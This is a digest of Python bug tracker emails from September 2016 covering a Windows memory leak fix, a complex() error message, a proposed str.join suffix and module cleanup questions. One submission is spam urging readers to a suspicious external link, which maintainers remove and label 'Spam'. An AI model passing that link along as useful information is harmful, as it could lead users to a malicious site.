From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 08:44:12 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474257699.65.0.655254933642.issue28200@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZSLW_fEQb_OYxoZzKwtum9g3hS6cybbAybgkwUXtEHYg@mail.gmail.com>


STINNER Victor added the comment:

Steve Dower added the comment:
> It's not clear to me that Py_UNICODE is guaranteed to be wchar_t for all time, that's all. If it is, go ahead.

Right now, it's the case and path_converter() leaks memory, so I
proposed a simple and obvious fix :-)

On Windows, it makes sense to continue to use the UTF-16 encoded
string cached in Unicode objects, because this conversion is common,
and it's convenient to not have to release the memory explicitly. The
side effect is that we may waste memory in some cases.

> Otherwise the path_t object has the ability to clean up after itself, so perhaps it should be used here?

Maybe, but I'm not interested to write a more complex patch for
Windows :-) Try to just call PyMem_Free(path->wide) (do nothing it's
NULL).

The advantage of the old code (and my patch) is to only convert a
filename once to UTF-16 and then use the cached result.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:44:40 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 19 Sep 2016 08:44:40 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474274680.15.0.532163187394.issue28203@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Please upload your patch from a Mercurial clone:

* https://docs.python.org/devguide/setup.html#checkout
* https://docs.python.org/devguide/patch.html

Currently, if you pass a string as a second argument, you get:

>>> complex(1, "1")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: complex() second arg can't be a string

So the exception message should probably be changed to include "second arg" or "second argument":

>>> complex(1j, {1: 2})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: complex() second arg must be a number, not 'dict'

Also, there is already a check for second argument in line 952 so the "must be a string" part is probably not needed. We probably need to check whether these two cases can be combined.

You also need to add some tests to Lib/test/test_complex.py.

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:54:42 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 08:54:42 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474260394.61.0.637343288097.issue28200@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZDqknqsNzSXS8HysZiQYvbetJb720ZxJ+pzV+Gt=-Kqg@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
> The :c:type:`Py_UNICODE` has been deprecated by :pep:`393` and will be
> removed in Python 4. All functions using this type are deprecated:

Right... I tried to deprecate and remove all functions using
Py_UNICODE but it's hard to change all this code. I gave up :-)

>   :c:func:`PyUnicode_AsUnicodeAndSize`: use :c:func:`PyUnicode_AsWideCharString`

Sadly, it's not exactly the same: PyUnicode_AsWideCharString returns a
new fresh buffer at each call. I'm not sure that it caches the result
neither.

Victor

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:56:02 2016
From: report at bugs.python.org (flying sheep)
Date: Mon, 19 Sep 2016 08:56:02 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <1474275362.15.0.508951047486.issue27948@psf.upfronthosting.co.za>


Changes by flying sheep <flying-sheep at web.de>:


----------
nosy: +flying sheep

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27948>
_______________________________________

From report at bugs.python.org  Mon Sep 19 04:56:37 2016
From: report at bugs.python.org (Jack Liu)
Date: Mon, 19 Sep 2016 08:56:37 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474275397.88.0.0694521657076.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

I have a app loading python35.dll. Use python API PyImport_AddModule to run a py file. And use PyDict_DelItemString to delete the module. There is a global vailable in the py file. The global variable is not destroyed when calling PyDict_DelItemString to delete the module. The global variable is destroyed when calling Py_Finalize. It's too late. That cause the memory leak. Because the Py_Initialize is called at the app startup, the Py_Finalize is called at the app shutdown. 

But it is ok with python33.dll, the global variable can be destroyed when calling PyDict_DelItemString to delete the module.

How to resolve the problem? Is there a workaround? I need to use python35.dll and wish the global variable in a module can be released automatically when call PyDict_DelItemString to delete the module.

Here is the python test code:

    class Simple:  
         def __init__( self ):  
             print('Simple__init__')
         def __del__( self ):  
             print('Simple__del__') 
    
    simple = Simple()

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:09:05 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 19 Sep 2016 09:09:05 +0000
Subject: [issue28198] heap-buffer-overflow in tok_nextc
 (Parser/tokenizer.c:954)
In-Reply-To: <1474233814.58.0.973615167605.issue28198@psf.upfronthosting.co.za>
Message-ID: <1474276145.35.0.910701808386.issue28198@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report. This looks like a duplicate of issue 24022.

----------
nosy: +berker.peksag
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Python heap corruption issue

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28198>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:13:43 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 19 Sep 2016 09:13:43 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>
Message-ID: <1474276423.64.0.209412100762.issue28200@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

path_converter.patch LGTM for 3.6 (and 3.7, 3.8), but we should find better solution for future versions. Could you please add a comment that PyUnicode_AsUnicodeAndSize is deprecated, but used because it is the simplest and the most efficient way for now?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:18:00 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 19 Sep 2016 09:18:00 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474276680.84.0.398703935746.issue28202@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
nosy: +brett.cannon, eric.snow, ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:19:35 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 19 Sep 2016 09:19:35 +0000
Subject: [issue27482] heap-buffer-overflow on address 0x6250000078ff
In-Reply-To: <1468246905.12.0.769586892118.issue27482@psf.upfronthosting.co.za>
Message-ID: <1474276775.84.0.116472444625.issue27482@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I think the problem described in msg270181 is now fixed in issue 24022. Adding Benjamin to nosy list for the other case.

----------
nosy: +benjamin.peterson, berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27482>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:49:57 2016
From: report at bugs.python.org (shayan)
Date: Mon, 19 Sep 2016 09:49:57 +0000
Subject: [issue28204] very useful information
Message-ID: <000061bb48b5$289db72a$acba49d2$@yahoo.com>


New submission from shayan:

Hi friend! 

There is some info I've just found on the web, I guess it is very useful, you may find it here <http://bridge.proitny.com/e3dron>

Best, shili8_256

----------
messages: 276964
nosy: SH4Y4N
priority: normal
severity: normal
status: open
title: very useful information

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28204>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:51:34 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 19 Sep 2016 09:51:34 +0000
Subject: [issue28204] very useful information
Message-ID: <1474278694.03.0.325315874088.issue28204@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
Removed message: http://bugs.python.org/msg276964

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28204>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:51:39 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 19 Sep 2016 09:51:39 +0000
Subject: [issue28204] very useful information
Message-ID: <1474278699.95.0.277418570445.issue28204@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28204>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:54:17 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 09:54:17 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474276423.64.0.209412100762.issue28200@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwav=kOJm7R5zdcnjy4p_K67__BqU0MCfxRQzjcz=Jxqdw@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
> Could you please add a comment that PyUnicode_AsUnicodeAndSize is deprecated, but used because it is the simplest and the most efficient way for now?

See old issues #22271 and #22324.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:56:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 19 Sep 2016 09:56:23 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>
Message-ID: <20160919095619.4510.7200.26E011E6@psf.io>


Roundup Robot added the comment:

New changeset 6232e610e310 by Victor Stinner in branch '3.6':
Fix memory leak in path_converter()
https://hg.python.org/cpython/rev/6232e610e310

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:59:08 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 19 Sep 2016 09:59:08 +0000
Subject: [issue28204] Spam
Message-ID: <1474279148.11.0.48383815764.issue28204@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy:  -SH4Y4N
title: very useful information -> Spam

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28204>
_______________________________________

From report at bugs.python.org  Mon Sep 19 05:59:58 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 09:59:58 +0000
Subject: [issue28200] Windows: path_converter() leaks memory for Unicode
 filenames
In-Reply-To: <1474239398.07.0.0972680059215.issue28200@psf.upfronthosting.co.za>
Message-ID: <1474279198.0.0.952769021454.issue28200@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> path_converter.patch LGTM for 3.6 (and 3.7, 3.8),

Ok, I pushed my simple fix.

Feel free to modify the code if you see a better way to encode paths on Windows ;-) But it's a much larger project, and I'm not really interested to jump again in this silly deprecated APIs :-) It seems like the status quo is that Py_UNICODE is going to stay longer than expected and since it "just works", nobody really cares :-)

I close this issue since the initial bug (memory leak) is now fixed.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28200>
_______________________________________

From report at bugs.python.org  Mon Sep 19 06:00:32 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 10:00:32 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
In-Reply-To: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>
Message-ID: <1474279232.09.0.103798546832.issue28195@psf.upfronthosting.co.za>


STINNER Victor added the comment:

FYI there was a real memory leak and I just fixed it with the change 6232e610e310.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Mon Sep 19 06:01:05 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 19 Sep 2016 10:01:05 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
In-Reply-To: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>
Message-ID: <1474279265.19.0.565184605488.issue28195@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks Victor!

----------
stage: needs patch -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Mon Sep 19 07:04:51 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 19 Sep 2016 11:04:51 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474283091.71.0.404734392763.issue28203@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

@manishearth: Nice catch! Thanks for the report.

@soummyaah: Thanks for the patch. Please could you sign a contributor agreement[1], so that we can commit the patch? As Berker says, tests would be good to have, too.

[1] https://www.python.org/psf/contrib/contrib-form/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 07:21:37 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 19 Sep 2016 11:21:37 +0000
Subject: [issue28205] Add optional suffix to str.join
Message-ID: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

It is moderately common to want to join a sequence of substrings with a delimiter rather than a separator, e.g. when joining a sequence of lines into a single string, you usually want a trailing newline as well as newlines between the lines. E.g.:

'\n'.join(['first', 'second', 'third'])


returns 'first\nsecond\nthird' but we usually want a trailing newline as well, but only if the iterable being joined is not empty. If there are no substrings, we don't want to append the delimiter.

Currently the most obvious way to do this is to use a temporary variable:

lines = '\n'.join(substrings)
if lines:
    lines += '\n'
process(lines)

I propose adding a keyword-only argument to str.join(), "suffix", to specify an optional trailing substring added only if the iterable is non-empty. To join lines as above, you would write:

process('\n'.join(substrings, suffix='\n'))

eliminating the unnecessary temporary variable.

Here's a proof of concept:

def join(iterable, sep, *, suffix=None):
    s = sep.join(iterable)
    if s and suffix is not None:
        s += suffix
    return s

----------
messages: 276971
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: Add optional suffix to str.join
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 07:48:27 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 19 Sep 2016 11:48:27 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474285707.53.0.621649422059.issue28203@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

This should be fixed in Python 3.5, too.

----------
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Mon Sep 19 07:51:48 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 19 Sep 2016 11:51:48 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474285908.98.0.848210738985.issue28205@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Currently the most obvious way to do this is to use a temporary variable:

Or more simply:

    lines = ''.join(substring + '\n' for substring in substrings)

----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 08:02:32 2016
From: report at bugs.python.org (Steve Holden)
Date: Mon, 19 Sep 2016 12:02:32 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474286552.78.0.2249253468.issue28205@psf.upfronthosting.co.za>


Steve Holden added the comment:

If you are going to add such a keyword argument, wouldn't it make sense to maintain compatibility with print, and use end=terminator?

----------
nosy: +holdenweb

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 08:08:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 19 Sep 2016 12:08:07 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474286887.26.0.312465002824.issue28205@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I'm -1. The str interface is already overburdened. This is very special case and there are several ways to do this (Mark's one is the most obvious to me).

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 09:07:24 2016
From: report at bugs.python.org (Torsten Landschoff)
Date: Mon, 19 Sep 2016 13:07:24 +0000
Subject: [issue1336] subprocess.Popen hangs when child writes to stderr
In-Reply-To: <1193407452.43.0.999665750675.issue1336@psf.upfronthosting.co.za>
Message-ID: <1474290444.34.0.00163056181982.issue1336@psf.upfronthosting.co.za>


Torsten Landschoff added the comment:

Just got bitten by this problem again.

If anybody else still runs into this, the solution on python2.7 is to install the subprocess32 module from pypi.python.org and use that instead of subprocess.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1336>
_______________________________________

From report at bugs.python.org  Mon Sep 19 09:09:58 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Mon, 19 Sep 2016 13:09:58 +0000
Subject: [issue20657] OpenBSD: Merge patches
In-Reply-To: <1392639207.52.0.881152822714.issue20657@psf.upfronthosting.co.za>
Message-ID: <1474290598.26.0.392122174902.issue20657@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20657>
_______________________________________

From report at bugs.python.org  Mon Sep 19 09:29:00 2016
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 19 Sep 2016 13:29:00 +0000
Subject: [issue26868] Document PyModule_AddObject's behavior on error
In-Reply-To: <1461735404.8.0.653639688918.issue26868@psf.upfronthosting.co.za>
Message-ID: <1474291740.6.0.338755224415.issue26868@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Serhiy, do you have further comments about issue26868_v2.diff?

----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26868>
_______________________________________

From report at bugs.python.org  Mon Sep 19 09:32:16 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 19 Sep 2016 13:32:16 +0000
Subject: [issue24416] Return a namedtuple from date.isocalendar()
In-Reply-To: <1433853440.83.0.506944331138.issue24416@psf.upfronthosting.co.za>
Message-ID: <1474291936.42.0.109899580597.issue24416@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

C code should generally use structseq instead of collections.namedtuple.  See the code for time.localtime() in Modules/timemodule.c.

Also, in the docs use "named tuple" as two words and link to the glossary: https://docs.python.org/3/glossary.html#term-named-tuple

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24416>
_______________________________________

From report at bugs.python.org  Mon Sep 19 11:00:04 2016
From: report at bugs.python.org (Samuel Colvin)
Date: Mon, 19 Sep 2016 15:00:04 +0000
Subject: [issue28206] signal.Signals not documented
Message-ID: <1474297204.47.0.613989661481.issue28206@psf.upfronthosting.co.za>


New submission from Samuel Colvin:

As per discussion on typeshed pull request discussion (https://github.com/python/typeshed/pull/555) the "signal.Signals" enum is not documented but should be.

See https://docs.python.org/3.5/library/signal.html.

----------
assignee: docs at python
components: Documentation
messages: 276979
nosy: Samuel Colvin, docs at python
priority: normal
severity: normal
status: open
title: signal.Signals not documented
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28206>
_______________________________________

From report at bugs.python.org  Mon Sep 19 11:07:51 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 19 Sep 2016 15:07:51 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474297671.36.0.290898393732.issue28202@psf.upfronthosting.co.za>


Eric Snow added the comment:

To make sure I'm understanding:

* you are using PyDict_DelItemString() on sys.modules
* a module-level variable in the module is not getting cleaned up when the module is deleted from sys.modules
* this worked in Python 3.3 but not in 3.5

It may help to have a more complete test case, perhaps uploaded to this issue with the multiple files zipped up.

Also, does 3.2 have the same behavior as 3.3 or 3.5?  What about 3.6 (currently in beta)?

Note that deleting the module from sys.modules only reduces the refcount by one.  Other objects may still hold a reference to the module or any of its variables.  So nothing in the module would be cleaned up until the refcount hits zero.  For example, if the module was imported in another module and that second module still has a variable bound to the imported module (or the not-destroyed variable) then you would not see your printed message.

The fact that the behavior is different between 3.3 and 3.5 is concerning though.  I'd expect 3.3 to behave like 3.5 is.  It could be that a change in Lib/importlib (or Python/import.c) since 3.3 is leaking module references, though it's unlikely.

----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 11:48:05 2016
From: report at bugs.python.org (Gavin Panella)
Date: Mon, 19 Sep 2016 15:48:05 +0000
Subject: [issue23372] defaultdict.fromkeys should accept a callable factory
In-Reply-To: <1422807584.64.0.426042157217.issue23372@psf.upfronthosting.co.za>
Message-ID: <1474300085.74.0.799078848053.issue23372@psf.upfronthosting.co.za>


Gavin Panella added the comment:

It's inconsistent that defaultdict([]) should be rejected:

  >>> defaultdict([])
  Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
  TypeError: first argument must be callable or None

but defaultdict.fromkeys([]) is okay:

  >>> defaultdict.fromkeys([])
  defaultdict(None, {})

The constructor signature differs between defaultdict and dict, and defaultdict.fromkeys is an alternate constructor, so it seems reasonable to also change its signature.

Also confusing is that I can call fromkeys on an instance of defaultdict:

  >>> dd = defaultdict(list)
  >>> dd.fromkeys([1])
  defaultdict(None, {1: None})

Instinctively I expect the default_factory to be carried over, even though I realise that would be odd behaviour for Python. If defaultdict.fromkeys were to expect a mandatory default_factory argument there wouldn't be this moment of confusion.

----------
nosy: +allenap

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23372>
_______________________________________

From report at bugs.python.org  Mon Sep 19 14:36:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 19 Sep 2016 18:36:35 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474310195.28.0.938662734848.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Good enough for me ;-)

Me too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Mon Sep 19 15:34:50 2016
From: report at bugs.python.org (Santiago Castro)
Date: Mon, 19 Sep 2016 19:34:50 +0000
Subject: [issue28207] SQLite headers are not
Message-ID: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>


New submission from Santiago Castro:

When installing Python (for example, version 3.5.2), if SQLite library and headers are not installed in a default location (like $HOME/.local/include instead of /usr/include), it should take it from there, and not fail to find it. This behavior does work with bz2 library and OpenSSL, but not with SQLite.

----------
components: Extension Modules
messages: 276983
nosy: Santiago Castro
priority: normal
severity: normal
status: open
title: SQLite headers are not
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 19 16:05:08 2016
From: report at bugs.python.org (Santiago Castro)
Date: Mon, 19 Sep 2016 20:05:08 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474315508.67.0.218122087102.issue28207@psf.upfronthosting.co.za>


Changes by Santiago Castro <bryant1410 at gmail.com>:


----------
title: SQLite headers are not -> SQLite headers are not searched in custom locations

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 19 16:36:48 2016
From: report at bugs.python.org (Big Stone)
Date: Mon, 19 Sep 2016 20:36:48 +0000
Subject: [issue28208] update sqlite to 3.14.2
Message-ID: <1474317408.19.0.662096879681.issue28208@psf.upfronthosting.co.za>


New submission from Big Stone:

sqlite 3.14.2 released September 12th is said to correct 3 bugs. 
(https://www.sqlite.org/releaselog/3_14_2.html)

I would suggest to upgrade from Sqlite 3.14.1 to sqlite 3.14.2 for beta2

----------
messages: 276984
nosy: Big Stone, zach.ware
priority: normal
severity: normal
status: open
title: update sqlite to 3.14.2
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28208>
_______________________________________

From report at bugs.python.org  Mon Sep 19 16:41:20 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 19 Sep 2016 20:41:20 +0000
Subject: [issue28208] update sqlite to 3.14.2
In-Reply-To: <1474317408.19.0.662096879681.issue28208@psf.upfronthosting.co.za>
Message-ID: <1474317680.87.0.883327506855.issue28208@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
components: +Macintosh, Windows
nosy: +ned.deily, paul.moore, ronaldoussoren, steve.dower, tim.golden
priority: normal -> release blocker
stage:  -> needs patch
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28208>
_______________________________________

From report at bugs.python.org  Mon Sep 19 16:58:15 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Mon, 19 Sep 2016 20:58:15 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474318695.95.0.161046510852.issue28205@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

I'm -1 also, mostly on the grounds that it's not (IME) a very common need and it does clutter up the API.

----------
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 17:57:16 2016
From: report at bugs.python.org (Xavion)
Date: Mon, 19 Sep 2016 21:57:16 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474322236.01.0.25211136281.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

Wow, that is surprising (given how simple it is)!  Did you try both tests?  Remember that only the second one produces the bug here.

Let's leave this sit for a while.  If no-one else can reproduce it on their OSs/distributions, I'll seek advice from the Arch community.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 18:10:04 2016
From: report at bugs.python.org (R. David Murray)
Date: Mon, 19 Sep 2016 22:10:04 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474323004.78.0.499601674456.issue28165@psf.upfronthosting.co.za>


R. David Murray added the comment:

I only ran the second one.  I didn't bother with the first one :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 18:20:37 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 22:20:37 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474323637.71.0.433089189766.issue28165@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 18:34:46 2016
From: report at bugs.python.org (jcrmatos)
Date: Mon, 19 Sep 2016 22:34:46 +0000
Subject: [issue28209] Exe or MSI unable to find Py3.5
Message-ID: <1474324486.65.0.502468498808.issue28209@psf.upfronthosting.co.za>


New submission from jcrmatos:

Exe or MSI created by
python setup.py bdist_wininst
and
python setup.py bdist_msi
on a Py3.5 are unable to find Py3.5 installed.
The build machine is not the same as the installation machine (destination).
Tried changing Py3.5 installation on the destination from user mode to all users, same result.

----------
components: Distutils
messages: 276988
nosy: dstufft, eric.araujo, jcrmatos
priority: normal
severity: normal
status: open
title: Exe or MSI unable to find Py3.5
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28209>
_______________________________________

